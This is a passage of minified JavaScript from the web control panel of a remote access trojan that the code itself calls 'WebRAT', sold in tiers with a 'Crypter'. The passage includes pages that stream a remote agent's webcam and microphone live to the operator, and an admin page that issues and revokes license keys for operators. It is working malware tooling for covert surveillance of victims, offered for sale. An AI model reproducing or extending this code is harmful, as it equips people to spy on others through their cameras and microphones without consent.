0.15)"},onMouseEnter:H=>{H.currentTarget.style.background="rgba(239, 68, 68, 0.12)",H.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:H=>{H.currentTarget.style.background="rgba(239, 68, 68, 0.06)",H.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[a.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Xs(){return a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function Om({label:e,active:t,onClick:n,icon:r}){return a.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function K2({onClick:e,title:t,children:n}){return a.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function wV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function jV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function NV(){return a.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function kV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function zV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function SV(){const{id:e}=rl(),t=m.useRef(null),n=m.useRef(null),r=m.useRef(null),[i,s]=m.useState(!1),o=m.useRef(!1),[l,c]=m.useState({w:0,h:0}),u=m.useCallback((g,y,v)=>{o.current||(o.current=!0,s(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:p,disconnect:h}=Nv({agentId:e||"",mode:"webcam",onFrame:u});m.useEffect(()=>{e&&p()},[e,p]),m.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=m.useCallback(async()=>{if(h(),e)try{await o_(e)}catch{}window.close()},[e,h]);return a.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),a.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),a.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&a.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&a.jsxs("div",{className:"flex flex-col items-center gap-6",children:[a.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function CV({agentId:e,onDisconnect:t}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0),[s,o]=m.useState(!1),[l,c]=m.useState(!1),u=m.useRef(!1),[d,f]=m.useState({chunkCount:0,sampleRate:0}),p=m.useCallback(()=>{if(n.current)return;const g=st();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws?token=${encodeURIComponent(g)}`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const N=j.getUint16(0,!0),k=j.getUint8(2),z=j.getUint8(3),S=12,A=w.data.byteLength-S;if(f(M=>({chunkCount:M.chunkCount+1,sampleRate:N})),u.current)return;const _=r.current;if(!_||_.state==="closed")return;_.state==="suspended"&&_.resume();const O=A/(k/8)/z,P=_.createBuffer(z,O,N),D=new DataView(w.data,S);for(let M=0;M{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=m.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=m.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return m.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:s,isMuted:l,stats:d,connect:p,disconnect:h,toggleMute:x}}function PV(){const{id:e}=rl(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:s,toggleMute:o}=CV({agentId:e||""});m.useEffect(()=>{e&&i()},[e,i]);const l=m.useCallback(async()=>{if(s(),e)try{await l_(e)}catch{}window.close()},[e,s]);return a.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),a.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),a.jsx("div",{className:"flex-1"}),a.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),a.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:a.jsxs("div",{className:"flex flex-col items-center gap-8",children:[a.jsxs("div",{className:"relative",children:[a.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:a.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&a.jsx(a.Fragment,{children:a.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),a.jsxs("div",{className:"flex flex-col items-center gap-2",children:[a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&a.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const EV=4294967295;function _V(e){return e>=EV-86400}function Tm(e){return _V(e)?"Never":new Date(e*1e3).toLocaleString()}function Y2({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function AV({role:e}){const t=e==="admin";return a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function OV(){const[e,t]=m.useState("keys"),[n,r]=m.useState([]),[i,s]=m.useState([]),[o,l]=m.useState(!0),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState("7d"),[x,g]=m.useState("0"),[y,v]=m.useState("rat"),[b,w]=m.useState(!1),[j,N]=m.useState(""),[k,z]=m.useState(!1),[S,A]=m.useState(null),[_,O]=m.useState(null),[P,D]=m.useState("30d"),[V,R]=m.useState(!1),[M,W]=m.useState(null),[$,U]=m.useState("rat"),[B,K]=m.useState(!1),Z=m.useCallback(async()=>{try{const C=await f_();r(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch keys")}},[]),le=m.useCallback(async()=>{try{const C=await h_();s(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch operators")}},[]);m.useEffect(()=>{l(!0),Promise.all([Z(),le()]).finally(()=>l(!1))},[Z,le]);const de=async C=>{C.preventDefault(),w(!0),u("");try{const Y=await m_({duration:p,max_agents:parseInt(x)||0,tier:y});N(Y.key),z(!1),await Z()}catch(Y){u(Y instanceof Error?Y.message:"Failed to generate key")}finally{w(!1)}},we=async C=>{u("");try{await p_(C),A(null),await Z()}catch(Y){u(Y instanceof Error?Y.message:"Failed to revoke key")}},ye=async()=>{if(_){R(!0),u("");try{await x_(_.id,P),O(null),await le()}catch(C){u(C instanceof Error?C.message:"Failed to extend license")}finally{R(!1)}}},G=async()=>{if(M){K(!0),u("");try{await v_(M.id,$),W(null),await le()}catch(C){u(C instanceof Error?C.message:"Failed to set tier")}finally{K(!1)}}},te=()=>{navigator.clipboard.writeText(j),z(!0),setTimeout(()=>z(!1),2e3)};return a.jsxs("div",{className:"p-6 space-y-6",children:[a.jsx("div",{className:"flex items-center justify-between",children:a.jsxs("div",{children:[a.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),a.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),a.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[a.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),a.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&a.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,a.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:()=>{f(!d),N("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r + hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),a.jsx("button",{onClick:Z,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[a.jsxs("form",{onSubmit:de,className:"space-y-3",children:[a.jsxs("div",{className:"flex items-end gap-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),a.jsx("input",{type:"text",value:p,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r + focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),a.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),a.jsxs("div",{className:"flex gap-1",children:[a.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),a.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r + hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${p===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r + text-zerin-accent break-all select-all`,children:j}),a.jsx("button",{onClick:te,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors shrink-0`,children:k?"Copied!":"Copy"})]}),a.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(Y2,{status:C.status})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Tm(C.created_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Tm(C.expires_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),a.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?S===C.key_id?a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("button",{onClick:()=>we(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r + hover:bg-red-500/10 transition-colors`,children:"Confirm"}),a.jsx("button",{onClick:()=>A(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r + hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):a.jsx("button",{onClick:()=>A(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r + hover:bg-red-500/10 transition-colors`,children:"Revoke"}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):a.jsxs("div",{className:"space-y-4",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsx("button",{onClick:le,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(AV,{role:C.role})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3",children:C.license_status?a.jsx(Y2,{status:C.license_status}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?Tm(C.license_expires_at):"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("button",{onClick:()=>{O(C),D("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r + hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),a.jsx("button",{onClick:()=>{W(C),U(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r + hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),_&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>O(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",a.jsx("span",{className:"text-zerin-accent",children:_.username})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),a.jsx("input",{type:"text",value:P,onChange:C=>D(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{onClick:()=>D(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors 